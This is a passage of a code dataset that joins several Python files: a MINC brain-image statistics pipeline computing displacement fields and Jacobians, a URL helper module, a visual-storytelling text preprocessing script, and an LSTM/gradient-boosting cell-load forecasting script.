self.calcDetAndLogDet(useFullDisp=False) # Calculate relative jacobians\n self.calcDetAndLogDet(useFullDisp=True) # Calculate absolute jacobians\n \n def calcFullDisplacement(self):\n \"\"\"Calculate full displacement from target to input. If an\n additionaXfm is specified, it is concatenated to self.xfm here \"\"\"\n if self.additionalXfm:\n outXfm = createOutputFileName(self.inputFH, self.xfm, \"transforms\", \"_with_additional.xfm\")\n xc = xfmConcat([self.additionalXfm, self.xfm], outXfm, fh.logFromFile(self.inputFH.logDir, outXfm))\n self.p.addStage(xc)\n xi = xfmInvert(xc.outputFiles[0], FH=self.inputFH)\n self.p.addStage(xi)\n fullDisp = mincDisplacement(self.targetFH, self.inputFH, transform=xi.outputFiles[0])\n else:\n fullDisp = mincDisplacement(self.targetFH, self.inputFH, transform=self.invXfm)\n self.p.addStage(fullDisp)\n self.fullDisp = fullDisp.outputFiles[0]\n \n def calcNlinDisplacement(self):\n \"\"\"Calculate pure non-linear displacement from target to input\n 1. Concatenate self.invXfm (target to input xfm) and self.linearPartOfNlinXfm \n 2. Compute mincDisplacement on this transform. \n \"\"\"\n pureNlinXfm = createOutputFileName(self.inputFH, self.invXfm, \"transforms\", \"_pure_nlin.xfm\")\n xc = xfmConcat([self.invXfm, self.linearPartOfNlinXfm], \n pureNlinXfm, fh.logFromFile(self.inputFH.logDir, pureNlinXfm))\n self.p.addStage(xc)\n nlinDisp = mincDisplacement(self.targetFH, self.inputFH, transform=pureNlinXfm)\n self.p.addStage(nlinDisp)\n self.nlinDisp = nlinDisp.outputFiles[0]\n \n def linAndNlinDisplacement(self):\n \"\"\"\n Calculation of full and pure non-linear displacements.\n The former is used to calculate absolute jacobians,\n the latter to calculate relative. The direction of the\n transforms and displacements is defined in each subclass. \n \"\"\"\n \n #1. Calculate linear part of non-linear xfm from input to target. \n # This is necessary prior to calculating the pure nonlinear displacement\n lpnl = linearPartofNlin(self.inputFH, self.targetFH)\n self.p.addStage(lpnl)\n self.linearPartOfNlinXfm = lpnl.outputFiles[0]\n \n # 2. Calculate the pure non-linear displacement\n self.calcNlinDisplacement()\n \n # 3. Calculate the full displacement\n self.calcFullDisplacement()\n\n \n def calcDetAndLogDet(self, useFullDisp=False): \n if useFullDisp:\n dispToUse = self.fullDisp #absolute jacobians\n else:\n dispToUse = self.nlinDisp #relative jacobians\n \"\"\"Insert -1 at beginning of blurs array to include the calculation of unblurred jacobians.\"\"\"\n self.blurs.insert(0,-1) \n for b in self.blurs:\n \"\"\"Create base name for determinant calculation.\"\"\"\n outputBase = fh.removeBaseAndExtension(dispToUse).split(\"_displacement\")[0]\n \"\"\"Calculate smoothed deformation field for all blurs other than -1\"\"\"\n if b != -1:\n fwhm = \"--fwhm=\" + str(b)\n outSmooth = fh.createBaseName(self.inputFH.tmpDir, \n outputBase + \"_smooth_displacement_fwhm\" + str(b) + \".mnc\")\n cmd = [\"smooth_vector\", \"--clobber\", \"--filter\", fwhm, \n InputFile(dispToUse), OutputFile(outSmooth)]\n smoothVec = CmdStage(cmd)\n smoothVec.setLogFile(LogFile(fh.logFromFile(self.inputFH.logDir, outSmooth)))\n self.p.addStage(smoothVec)\n \"\"\"Set input for determinant calculation.\"\"\"\n inputDet = outSmooth\n nameAddendum = \"_fwhm\" + str(b)\n else:\n inputDet = dispToUse\n nameAddendum = \"\"\n outputDet = fh.createBaseName(self.inputFH.tmpDir, \n outputBase + \"_determinant\" + nameAddendum + \".mnc\")\n outDetShift = fh.createBaseName(self.inputFH.tmpDir, \n outputBase + \"_det_plus1\" + nameAddendum + \".mnc\")\n \n if useFullDisp: \n #absolute jacobians\n outLogDet = fh.createBaseName(self.inputFH.statsDir, \n outputBase + \"_absolute_log_determinant\" + nameAddendum + \".mnc\")\n else:\n #relative jacobians\n outLogDet = fh.createBaseName(self.inputFH.statsDir, \n outputBase + \"_relative_log_determinant\" + nameAddendum + \".mnc\")\n \n \"\"\"Calculate the determinant, then add 1 (per mincblob weirdness)\"\"\"\n \n cmd = [\"mincblob\", \"-clobber\", \"-determinant\", InputFile(inputDet), OutputFile(outputDet)]\n det = CmdStage(cmd)\n det.setLogFile(LogFile(fh.logFromFile(self.inputFH.logDir, outputDet)))\n self.p.addStage(det)\n \n cmd = [\"mincmath\", \"-clobber\", \"-2\", \"-const\", str(1), \"-add\", \n InputFile(outputDet), OutputFile(outDetShift)]\n det = CmdStage(cmd)\n det.setLogFile(LogFile(fh.logFromFile(self.inputFH.logDir, outDetShift)))\n self.p.addStage(det)\n \n \"\"\"Calculate log determinant (jacobian) and add to statsGroup.\"\"\"\n cmd = [\"mincmath\", \"-clobber\", \"-2\", \"-log\", InputFile(outDetShift), OutputFile(outLogDet)]\n det = CmdStage(cmd)\n det.setLogFile(LogFile(fh.logFromFile(self.inputFH.logDir, outLogDet)))\n self.p.addStage(det)\n if useFullDisp:\n self.statsGroup.absoluteJacobians[b] = outLogDet\n else:\n self.statsGroup.relativeJacobians[b] = outLogDet\n\nclass CalcChainStats(CalcStats):\n \"\"\"This class calculates multiple displacement fields, absolute and relative\n jacobians. IT DOES NOT allow for adding an additional transform, as in the\n base class (CalcStats). This child class is designed specifically for the \n registration chain application (or similar) and has less complexity than CalcStats()\"\"\"\n def __init__(self, inputFH, targetFH, statsKernels):\n CalcStats.__init__(self, inputFH, targetFH, statsKernels)\n \n def setupXfms(self):\n self.xfm = self.inputFH.getLastXfm(self.targetFH)\n if not self.xfm:\n print(\"Cannot calculate statistics. No transform between input and target specified.\")\n sys.exit()\n \n def calcFullDisplacement(self):\n \"\"\"Calculates the full displacement from input to target without removing \n the linear part. Note that inputFH is deliberately specified twice in the\n mincDisplacement call: Once as the input space, and once for the location \n of the log files. \"\"\"\n fullDisp = mincDisplacement(self.inputFH, self.inputFH, transform=self.xfm)\n self.p.addStage(fullDisp)\n self.fullDisp = fullDisp.outputFiles[0]\n \n def calcNlinDisplacement(self):\n \"\"\"Calculate pure non-linear displacement from input to target \n 1. Invert the linear transform, so we get the linear xfm from target to input.\n 2. Concatenate the full non-linear (input to target) transform with the\n linear target to input transform.\n 3. Calculate the displacement on this transform. \"\"\"\n xi = xfmInvert(self.linearPartOfNlinXfm, FH=self.inputFH)\n self.p.addStage(xi)\n \n pureNlinXfm = createOutputFileName(self.inputFH, self.xfm, \"transforms\", \"_pure_nlin.xfm\")\n xc = xfmConcat([self.xfm, xi.outputFiles[0]], \n pureNlinXfm, fh.logFromFile(self.inputFH.logDir, pureNlinXfm))\n self.p.addStage(xc)\n nlinDisp = mincDisplacement(self.inputFH, self.inputFH, transform=pureNlinXfm)\n self.p.addStage(nlinDisp)\n self.nlinDisp = nlinDisp.outputFiles[0]\n \nclass linearPartofNlin(CmdStage):\n def __init__(self, inputFH, targetFH, defaultDir=\"transforms\"):\n CmdStage.__init__(self, None)\n \n try: \n if isFileHandler(inputFH, targetFH):\n self.inFile = inputFH.getLastBasevol() \n self.mask = inputFH.getMask() \n self.xfm = inputFH.getLastXfm(targetFH) \n self.outfile = self.setOutputFile(inputFH, defaultDir)\n self.logFile = fh.logFromFile(inputFH.logDir, self.outfile)\n else:\n print (\"linear part of nlin currently only works using file handlers. \"\n \"Exception being raised.\")\n raise\n \n except:\n print(\"Failed in putting together linearPartofNlin command\")\n print(\"Unexpected error: \", sys.exc_info())\n \n self.addDefaults()\n self.finalizeCommand()\n self.setName()\n \n def addDefaults(self):\n self.inputFiles += [self.inFile, self.xfm] \n self.outputFiles += [self.outfile] \n self.cmd += [\"lin_from_nlin\",\n \"-clobber\", \"-lsq12\"] \n if self.mask: \n self.inputFiles += [self.mask]\n self.cmd += [\"-mask\", self.mask]\n \n def finalizeCommand(self):\n self.cmd += [self.inFile, self.xfm, self.outfile] \n def setName(self):\n self.name = \"lin_from_nlin \" \n def setOutputFile(self, inFile, defaultDir):\n outDir = inFile.setOutputDirectory(defaultDir)\n outBase = (fh.removeBaseAndExtension(self.xfm) + \"_linear_part.xfm\")\n outputFile = fh.createBaseName(outDir, outBase)\n return(outputFile) \n\nclass mincDisplacement(CmdStage):\n \"\"\"This class calculates the displacement from an input\n volume, using a specified transform from this input to\n another volume. Must specify input volume, transform from\n that volume to a target, and an outputFH, which is where \n the output and log files should be stored. The outputFH \n and inputFH may be the same volume. A default directory\n for the output may optionally be specified, but is tmp if\n unspecified. \n \"\"\"\n def __init__(self, inputFH, outputFH, transform, defaultDir=\"tmp\"):\n CmdStage.__init__(self, None)\n try: \n if isFileHandler(inputFH, outputFH):\n self.inFile = inputFH.getLastBasevol() \n self.xfm = transform\n self.outfile = createOutputFileName(outputFH, self.xfm, defaultDir, \"_displacement.mnc\")\n self.logFile = fh.logFromFile(outputFH.logDir, self.outfile)\n else:\n print (\"minc_displacement only works using file handlers. \"\n \"Exception being raised.\")\n raise\n \n except:\n print(\"Failed in putting together minc_displacement command\")\n print(\"Unexpected error: \", sys.exc_info())\n \n self.addDefaults()\n self.finalizeCommand()\n self.setName()\n \n def addDefaults(self):\n self.inputFiles += [self.inFile, self.xfm] \n self.outputFiles += [self.outfile] \n self.cmd += [\"minc_displacement\", \"-clobber\"] \n \n def finalizeCommand(self):\n self.cmd += [self.inFile, self.xfm, self.outfile] \n def setName(self):\n self.name = \"minc_displacement \" \n","sub_path":"atoms_and_modules/stats_tools.py","file_name":"stats_tools.py","file_ext":"py","file_size_in_byte":16476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"584947706","text":"import urllib.parse\n\n\ndef create_url(protocol, host, port, path, params={}):\n if path[0] == '/':\n path = path[1:]\n url = \"{protocol}://{host}:{port}/{path}\".format(\n protocol=protocol,\n host=host,\n port=port,\n path=path)\n if len(params) > 0:\n url += '?'\n for key, value in params.items():\n url += '{param}={value}&'.format(param=key, value=value)\n url = url[:-1] # chopp of last unnecessary '?' or last '&'\n return url\n\n\ndef succ_status(code):\n \"\"\"is successful http status code?\"\"\"\n return 200 <= code < 300\n\n\ndef get_path_from_url(url):\n return urllib.parse.urlparse(url).path\n\n\ndef get_query_params_from_url(url):\n return dict(urllib.parse.parse_qsl(urllib.parse.urlsplit(url).query))\n","sub_path":"app/utils/url.py","file_name":"url.py","file_ext":"py","file_size_in_byte":780,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"482567582","text":"import json\nimport os.path as osp\nimport matplotlib.pyplot as plt\nfrom collections import OrderedDict\nfrom collections import Counter\nimport numpy\nimport h5py\nimport os\n\n\n\"\"\"\n处理文本数据,提取出story,并构建词表\n\"\"\"\nbase_path = \"AREL-data-process/\"\ntrain_data = json.load(open(osp.join(base_path, \"train.story-in-sequence.json\")))\nval_data = json.load(open(osp.join(base_path, \"val.story-in-sequence.json\")))\ntest_data = json.load(open(osp.join(base_path, \"test.story-in-sequence.json\")))\n\n### 处理图像数据\nprefix = [\"train\", \"val\", \"test\"]\nwhole_album2im = {}\nfor i, data in enumerate([train_data, val_data, test_data]):\n album2im = {} # 按照album存储图像数据,键为album_id,值为img_id,1-多\n for im in data['images']: # 遍历每一张图像\n if im['album_id'] not in album2im: # 以album区分,若album_id并未存储,则为新的album\n album2im[im['album_id']] = [im['id']]\n else: # 该album已存在,则append,注意数据已经按照时间排序\n if im['id'] not in album2im[im['album_id']]:\n album2im[im['album_id']].append(im['id'])\n whole_album2im[prefix[i]] = album2im\n\nfor i, data in enumerate([train_data, val_data, test_data]):\n a = [] # 按照album存储图像数据,键为album_id,值为img_id,1-多\n for im in data['images']: # 遍历每一张图像\n if im['id'] not in a: # 以album区分,若album_id并未存储,则为新的album\n a.append(im['id'])\n print(len(a))\n\n### 处理文本数据\nwhole_album = {}\nstory_lines = {} # 存储每个故事,每个故事五句话,index为0、5、10\nwhole_lines = {} # 存储每个故事,一行存储,index为0、1、2\nstory_line_count = 0 # 句子数量\nwhole_line_count = 0 # story数量\nfor i, data in enumerate([train_data, val_data, test_data]):\n album_mapping = {} # 存储story\n for annot_new in data[\"annotations\"]: # 遍历每组数据\n annot = annot_new[0] # album_id\n assert len(annot_new) == 1\n text = bytes.decode(annot['text'].encode('utf8')) # 字段中包含origin_text和text,前者为原始文本,后者为匿名文本\n if annot['story_id'] not in album_mapping: # story_id为这段描述的id(5张图片)\n album_mapping[annot['story_id']] = {\"text_index\": [story_line_count], \"flickr_id\": [annot['photo_flickr_id']], \"length\": 1, \n \"album_id\": annot['album_id'], \"album_flickr_id\": whole_album2im[prefix[i]][annot['album_id']],\n \"whole_text_index\": whole_line_count, \"origin_text\": text} # story_line_count表示一个句子的id,flickr_id为图片id,album_id,album_flickr_id对应album对应的图像列表,whole_text_index 5:\n words2id[k] = idx\n idx += 1\nwords2id[\"\"] = 0\nwords2id[\"\"] = 1\nid2words = {v:k for k,v in words2id.items()}\nprint(len(id2words))\n\nwhole_album[\"words2id\"] = words2id\nwhole_album[\"id2words\"] = {v:k for k,v in words2id.items()}\n\n# 将文本转换为id\nid_story_lines = []\nfor l in story_lines:\n s = [words2id[w] if w in words2id else 1 for w in l]\n id_story_lines.append(s)\n\nid_whole_lines = []\nfor l in whole_lines:\n s = [words2id[w] if w in words2id else 1 for w in l]\n id_whole_lines.append(s)\n\n# 进行padding,padding为0,长度为105\nnew_id_whole_lines = []\nspecify_longest = 105\nfor i in range(len(id_whole_lines)):\n cur_len = len(id_whole_lines[i])\n if cur_len < specify_longest:\n new_id_whole_lines.append(id_whole_lines[i] + [0] * (specify_longest - cur_len))\n else:\n new_id_whole_lines.append(id_whole_lines[i][:specify_longest-1] + [0])\n# shape(50200,105)\ndata = numpy.asarray(new_id_whole_lines)\n\n# f = h5py.File(\"full_story.h5\", \"w\")\n# f.create_dataset(\"story\", data=data)\n# f.close()\n## 对单个句子进行padding,大小为30\nnew_id_story_lines = []\nspecify_longest = 30\nfor i in range(len(id_story_lines)):\n cur_len = len(id_story_lines[i])\n if cur_len < specify_longest:\n new_id_story_lines.append(id_story_lines[i] + [0] * (specify_longest - cur_len))\n else:\n new_id_story_lines.append(id_story_lines[i][:specify_longest-1] + [0])\n## (25100,30)\ndata = numpy.asarray(new_id_story_lines, \"int32\")\n\n# f = h5py.File(\"story.h5\", \"w\")\n# f.create_dataset(\"story\", data=data)\n# f.close()\n\n# # 删除图像少于5张的\n# for p in prefix:\n# path = \"/mnt/sshd/wenhuchen/VIST/images_256/{}/\".format(p)\n# deletables = []\n# for story_id, story in whole_album[p].items():\n# d = [osp.exists(osp.join(path, \"{}.jpg\".format(_))) for _ in story[\"flickr_id\"]]\n# if sum(d) < 5:\n# print(\"deleting {}\".format(story_id))\n# deletables.append(story_id)\n# else:\n# pass\n# for i in deletables:\n# del whole_album[p][i]\n\n# 构建图像与story的映射\nflickr_story_map = {}\nfor pre in prefix:\n album = whole_album[pre]\n for k, v in album.items():\n indexes = v['text_index']\n for i, flickr_id in enumerate(v['flickr_id']):\n if flickr_id not in flickr_story_map:\n flickr_story_map[flickr_id] = [indexes[i]]\n else:\n flickr_story_map[flickr_id].append(indexes[i])\n\n# 画出story的长度分布\n# length_distribution = [len(s) for s in whole_lines]\n# result = plt.hist(length_distribution, bins='auto', cumulative=True, normed=1)\n# plt.show()\n# length_distribution = [len(s) for s in story_lines]\n# result = plt.hist(length_distribution, bins='auto', cumulative=True, normed=1)\n# plt.hist(length_distribution, bins='auto')\n# plt.show()\n\n\n\"\"\"\n处理文本数据,提取出caption\n\"\"\"\nbase_path = \"AREL-data-process/dii/\"\ntrain_data = json.load(open(osp.join(base_path, \"train.description-in-isolation.json\")))\nval_data = json.load(open(osp.join(base_path, \"val.description-in-isolation.json\")))\ntest_data = json.load(open(osp.join(base_path, \"test.description-in-isolation.json\")))\n\nmapping = {}\nmapping_original = {}\ntext_list = []\ntext_list_count = 0\nunknown_words = 0\ntotal_words = 0\nwith_story = 0\nno_story = 0\nfor i, data in enumerate([train_data, val_data, test_data]):\n mapping[prefix[i]] = {}\n mapping_original[prefix[i]] = {}\n for l in data['annotations']:\n if l[0]['photo_flickr_id'] not in mapping[prefix[i]]:\n if l[0]['photo_flickr_id'] in flickr_story_map:\n stories = flickr_story_map[l[0]['photo_flickr_id']]\n else:\n stories = [-1]\n mapping[prefix[i]][l[0]['photo_flickr_id']] = {'caption': [text_list_count], 'story': stories}\n mapping_original[prefix[i]][l[0]['photo_flickr_id']] = [l[0]['text']]\n else:\n mapping[prefix[i]][l[0]['photo_flickr_id']]['caption'].append(text_list_count)\n mapping_original[prefix[i]][l[0]['photo_flickr_id']].append(l[0]['text'])\n text_list_count += 1\n assert len(l) == 1\n s = []\n for w in l[0]['text'].split(\" \"):\n if w in words2id:\n s.append(words2id[w]) \n else:\n s.append(1)\n unknown_words += 1\n total_words += 1\n text_list.append(s)\nfor pre in prefix:\n count = 0\n for i in mapping[pre]:\n value = mapping[pre][i]\n if len(value['caption']) == 0:\n count += 1\n print(count)\n\nprint(\"unknown words percent is {}\".format(unknown_words / (total_words + 0.0)))\nnew_text_list = []\nspecify_longest = 20\nfor i in range(len(text_list)):\n cur_len = len(text_list[i])\n if cur_len < specify_longest:\n new_text_list.append(text_list[i] + [0] * (specify_longest - cur_len))\n else:\n new_text_list.append(text_list[i][:specify_longest - 1] + [0]) \n\n# for p in prefix:\n# path = \"/mnt/sshd/wenhuchen/VIST/images_256/{}/\".format(p)\n# deletables = []\n# for flickr_id, story in mapping[p].items():\n# if not osp.exists(osp.join(path, \"{}.jpg\".format(flickr_id))):\n# deletables.append(flickr_id)\n# for i in deletables:\n# del mapping[p][i]\n# del mapping_original[p][i]\n \nwhole_album[\"image2caption\"] = mapping\nwhole_album[\"image2caption_original\"] = mapping_original\n\n# with open(\"story_line.json\", 'w') as f:\n# json.dump(whole_album, f)\n\ntext_array = numpy.asarray(new_text_list, dtype='int32')\n\n# f = h5py.File(\"description.h5\", 'w')\n# f.create_dataset(\"story\", data=text_array)\n# f.close()\n\nval_data = json.load(open(osp.join(base_path, \"val.description-in-isolation.json\")))\nwith open(\"val_desc_reference\", \"w\") as f:\n for l in val_data['annotations']:\n # print >> f, \"{}\\t{}\".format(l[0]['photo_flickr_id'], l[0]['text'])\n print(l[0]['photo_flickr_id'], l[0]['text'])\n\nf = h5py.File(\"full_story.h5\", \"r\")\nprint(f['story'][0])\n\nf = h5py.File(\"story.h5\", \"r\")\nprint(f['story'].shape)\n\nf = open(\"story_line.json\", 'r')\ndata = json.load(f)\nprint(len(data['id2words']))\n\n# zero_fc = numpy.zeros((2048, ), \"float32\")\n# zero_conv = numpy.zeros((2048, 7, 7), \"float32\")\n\n# train_fc_base = \"/mnt/sshd/xwang/VIST/feature/train/fc\"\n# train_conv_base = \"/mnt/sshd/xwang/VIST/feature/train/conv\"\n# train_name1 = [l.split(\".\")[0] for l in os.listdir(train_fc_base)]\n\n# train_image_base = \"/mnt/sshd/wenhuchen/VIST/images/train\"\n# train_name2 = [l.split(\".\")[0] for l in os.listdir(train_image_base)]\n\n# rest = set(train_name2) - set(train_name1)\n# for image in rest:\n# numpy.save(os.path.join(train_fc_base, \"{}.npy\".format(image)), zero_fc) \n# numpy.save(os.path.join(train_conv_base, \"{}.npy\".format(image)), zero_conv) \n\n# val_fc_base = \"/mnt/sshd/xwang/VIST/feature/val/fc\"\n# val_conv_base = \"/mnt/sshd/xwang/VIST/feature/val/conv\"\n# val_name1 = [l.split(\".\")[0] for l in os.listdir(val_fc_base)]\n\n# val_image_base = \"/mnt/sshd/wenhuchen/VIST/images/val\"\n# val_name2 = [l.split(\".\")[0] for l in os.listdir(val_image_base)]\n\n# rest = set(val_name2) - set(val_name1)\n# for image in rest:\n# numpy.save(os.path.join(val_fc_base, \"{}.npy\".format(image)), zero_fc) \n# numpy.save(os.path.join(val_conv_base, \"{}.npy\".format(image)), zero_conv) \n\n# test_fc_base = \"/mnt/sshd/xwang/VIST/feature/test/fc\"\n# test_conv_base = \"/mnt/sshd/xwang/VIST/feature/test/conv\"\n# test_name1 = [l.split(\".\")[0] for l in os.listdir(test_fc_base)]\n\n# test_image_base = \"/mnt/sshd/wenhuchen/VIST/images/test\"\n# test_name2 = [l.split(\".\")[0] for l in os.listdir(test_image_base)]\n\n# rest = set(test_name2) - set(test_name1)\n# for image in rest:\n# numpy.save(os.path.join(test_fc_base, \"{}.npy\".format(image)), zero_fc) \n# numpy.save(os.path.join(test_conv_base, \"{}.npy\".format(image)), zero_conv) \n\n# with open(\"story_line.json\", 'r') as f: \n# data = json.load(f)\n\n# print(len(data['image2caption']['train']))\n# print(len(data['train']))","sub_path":"AREL-data-process/Data_process.py","file_name":"Data_process.py","file_ext":"py","file_size_in_byte":12414,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"122252585","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jul 02 14:21:06 2018\n\n@author: so041e\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nimport datetime as dt\nfrom sklearn.model_selection import TimeSeriesSplit, GridSearchCV\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.metrics import make_scorer \nfrom sklearn import ensemble\nfrom sklearn.model_selection import TimeSeriesSplit\nimport seaborn as sns\n#from pandas.plotting import autocorrelation_plot\nfrom matplotlib import pyplot\nfrom statsmodels.tsa.arima_model import ARIMA\nfrom sklearn.metrics import mean_squared_error\nimport matplotlib.pyplot as plt\nfrom sklearn.model_selection import train_test_split\n \nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.preprocessing import OneHotEncoder\nfrom sklearn.preprocessing import LabelEncoder\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.layers import LSTM\nfrom math import sqrt\n\n## data starting and ending timestamp #######\nstart_time = dt.datetime(2018,5,22,00,00)\nend_time = dt.datetime(2018,5,22,18,00)\n\ntrain=pd.read_csv(\"cell_load_p2_training_dataset.csv.gz\") #1458 cell\ntrain.columns='cell,dt,prb,aue,kbps,enb,freq,bw,txp,lat,long,alt,cluster,market,sw'.split(',')\noutput=pd.read_csv(\"cell_load_p2_submission_template.csv\") #1444 cells\n\n#cell=pd.read_csv(\"Cell_info.csv\") #1458 cells\noutput_columns=output.columns#=pd.read_csv(\"cell_load_p2_submission_template.csv\") #1444 cells\ntss0=['2018-05-22 18:01:00', '2018-05-22 18:05:00', '2018-05-22 18:15:00']\ntss=[pd.to_datetime(x) for x in tss0]\n# \n\ntrain.dt=pd.to_datetime(train.dt)\ndel train['enb']\n#train.prb=train.prb.apply(lambda x: np.nan if x==0 else x)\n\n#train.prb=train.prb.apply(lambda x: np.log(x))\n#train['dtt']=dt.datetime(2018,5,15,17,00)-pd.to_datetime(train.dt)\n#train.dtt=train.dtt.apply(lambda x: x.total_seconds()/(15*60)) # 15 minute index\n\n# 15min = 1day = 96, 7 days=96*7, 1 week ago = x-96*7\n# h17=dt.time(hour=17,minutes=00)\n\n#%%\n# scale train and test data to [-1, 1]\ndef scale(train, test):\n\t# fit scaler\n\tscaler = MinMaxScaler(feature_range=(-1, 1))\n\tscaler = scaler.fit(train)\n\t# transform train\n\ttrain = train.reshape(train.shape[0], train.shape[1])\n\ttrain_scaled = scaler.transform(train)\n\t# transform test\n\ttest = test.reshape(test.shape[0], test.shape[1])\n\ttest_scaled = scaler.transform(test)\n\treturn scaler, train_scaled, test_scaled\n\n# inverse scaling for a forecasted value\ndef invert_scale(scaler, X, value):\n\tnew_row = [x for x in X] + [value]\n\tarray = np.array(new_row)\n\tarray = array.reshape(1, len(array))\n\tinverted = scaler.inverse_transform(array)\n\treturn inverted[0, -1]\n\n\n#%%\nModel='LSTM'\nif Model == 'LSTM':\n\tsel_col=['dt','cell','prb_l','aue','kbps','freq','bw','txp']\n\n\tuse_col=['prb_l','aue','kbps']\n\tdata=train.copy()\n\tdata['prb_l']=np.log(train.prb)\n\tdel data['prb'] \n\n\tdata2=data\n\t#col_freq=pd.get_dummies(data2.freq,prefix='freq')\n\tcol_bw=pd.get_dummies(data2.bw,prefix='bw')\n\tcol_mkt=pd.get_dummies(data2.market,prefix='mkt')\n\tdata2=pd.concat([data2[['dt','cell','prb_l','aue','kbps','txp','freq']],col_freq,col_bw,col_mkt],axis=1)\n\n\tdata2=data2[data2.dt!=dt.datetime(2018,5,21,23,59,00)]\n\t#data2=data2[sel_col]\n\tdata2['target']=data2.prb_l.shift(-1)\n\n\n#%%\t\n\tMAX_DEL=8\n\tY_DEL=1\n\t#data2_l2=pd.concat([data2,data2[use_col].shift(1)], axis=1)\n\tdata2_l2=pd.concat([data2,data2[use_col].shift(1),data2[use_col].shift(2),data2[use_col].shift(3),data2[use_col].shift(4),data2[use_col].shift(5),data2[use_col].shift(6),data2[use_col].shift(7),data2[use_col].shift(8)], axis=1)\n\tdata2_l2=data2_l2[~data2_l2.dt.isin([start_time+dt.timedelta(minutes=k) for k in range(MAX_DEL)])]\n\trtarget=data2_l2.groupby('cell').last()\n\tdata2_l2=data2_l2[~data2_l2.dt.isin([end_time+dt.timedelta(minutes=k) for k in [0]])] # real_target_timestamp\n\n\tallX=data2_l2.copy()\n\tally=data2_l2.target\n\tdel allX['target']\n\tdel allX['dt']\n\tdel allX['cell']\n\t\n\t#data2_l2=data2_l2.sample(100000) # max 1,522,812\n\tdel data2_l2['dt']\n\tdel data2_l2['cell']\n\n\ty=data2_l2.target\n\tdel data2_l2['target']\n\n\tscaler = MinMaxScaler(feature_range=(0, 1))\n\tscaled = scaler.fit_transform(data2_l2)\n\n\txvals=scaled\n\tyvals=y.values\n\tX_train, X_test, y_train, y_test = train_test_split(xvals, yvals, test_size=0.20, random_state=42)\n\tX_DIM=X_train.shape[1]\n\n\t## values\n\t#values = dataset.values\n\t## integer encode direction\n\t#encoder = LabelEncoder()\n\t#values[:,4] = encoder.fit_transform(values[:,4]) # Wnd_dir\n\t## ensure all data is float\n\t#values = values.astype('float32')\n\t## normalize features\n\t#scaler = MinMaxScaler(feature_range=(0, 1))\n\t#scaled = scaler.fit_transform(values)\n\t# specify the number of lag hours\n\t#n_hours = 3\n\t#n_features = 8\n\t\n\tX_train=X_train.reshape(len(X_train),Y_DEL,X_DIM)\n\tX_test=X_test.reshape(len(X_test),Y_DEL,X_DIM)\n\t\n\t\n\t#%%\n\t# design network\n\tmodel = Sequential()\n\tmodel.add(LSTM(220, input_shape=(1,X_DIM))) # shape(3,8) # lags,columns\n\tmodel.add(Dense(1))\n\tmodel.compile(loss='mean_squared_error', optimizer='adam')\n\t# fit network\n\thistory = model.fit(X_train, y_train, epochs=100, batch_size=272, validation_data=(X_test, y_test), verbose=2, shuffle=False)\n\t# plot history\n\tpyplot.plot(history.history['loss'], label='train')\n\tpyplot.plot(history.history['val_loss'], label='test')\n\tpyplot.legend()\n\tpyplot.show()\n\n\t# make a prediction\n\tyhat = model.predict(X_test)\n\n\t# invert scaling for forecast\n\t#inv_yhat = concatenate((yhat, test_X[:, -7:]), axis=1)\n\t#inv_yhat = scaler.inverse_transform(inv_yhat)\n\t#inv_yhat = inv_yhat[:,0]\n\t## invert scaling for actual\n\t#test_y = test_y.reshape((len(test_y), 1))\n\t#inv_y = concatenate((test_y, test_X[:, -7:]), axis=1)\n\t#inv_y = scaler.inverse_transform(inv_y)\n\t#inv_y = inv_y[:,0]\n\t# calculate RMSE\n\tout=pd.concat([pd.Series(y_test),pd.Series(yhat[:,0])], axis=1)\n\tout.plot()\n\trmse = sqrt(mean_squared_error(y_test, yhat))\n\tprint('Test RMSE: %.3f' % rmse)\n\n#%% Real predict\n\tdel rtarget['dt']\n\tdel rtarget['target']\n\n\trscaled = scaler.fit_transform(rtarget)\n\tr_test=rscaled.reshape(len(rscaled),Y_DEL,X_DIM)\n\n\treal_pred=model.predict(r_test)\n\trpred=pd.Series(real_pred[:,0], index=rtarget.index)\n\trpred2=pd.merge(output,pd.DataFrame(rpred),left_on='cell_name', right_index=True)\n\tfor col in tss0:\n\t\trpred2[col]=np.exp(rpred2[0])\n\tdel rpred2[0]\n\trpred2.to_csv('p2_lstm_v4.csv',index=False)\t\n\t\n\n#%% Train\n\nif Model == 'GBT':\n\n\t\n\tparam_test2 = {'max_depth':range(1,3), 'n_estimators':[150,250], 'learning_rate':[0.05,0.1]}\n\tparam_test2 = {'max_depth':range(4,10)}\n\tgbt = ensemble.GradientBoostingRegressor()\n\tgsearch2 = GridSearchCV(estimator=gbt,param_grid = param_test2, n_jobs=1,cv=5, scoring='neg_mean_squared_error')\n\tgsearch2.fit(X_train,y_train)\n\tprint(gsearch2.grid_scores_)\n\tprint(gsearch2.best_params_)\n\tprint(gsearch2.best_score_) \n\n#%% Test\n\tregressor=gsearch2.best_estimator_\n\tregressor.fit(X_train, y_train)\n\ty_pred=regressor.predict(X_test)\n\ty_out=pd.concat([y_test.reset_index().target,pd.Series(y_pred)],axis=1)\n\tprint (mean_squared_error(y_out[0],y_out.target)**0.5)\n\tprint (mean_squared_error(np.exp(y_out[0]),np.exp(y_out.target))**0.5)\n\n\n#%% Predict\n\tdel rtarget['dt']\n\tdel rtarget['target']\n\n\tall_regressor=gsearch2.best_estimator_\n\tall_regressor.fit(allX, ally)\n\treal_pred=all_regressor.predict(rtarget)\n\trpred=pd.Series(real_pred, index=rtarget.index)\n\trpred2=pd.merge(output,pd.DataFrame(rpred),left_on='cell_name', right_index=True)\n\tfor col in tss0:\n\t\trpred2[col]=np.exp(rpred2[0])\n\tdel rpred2[0]\n\trpred2.to_csv('p2_gbt_all_v2.csv',index=False)\t\n\n#%%\nif Model == 'GBT2':\n\tsel_col=['dt','prb_l','aue','kbps','freq','bw','txp']\n\tuse_col=['prb_l','aue','kbps']\n\tdata=train.copy()\n\tdata['prb_l']=np.log(train.prb)\n\tdel data['prb'] 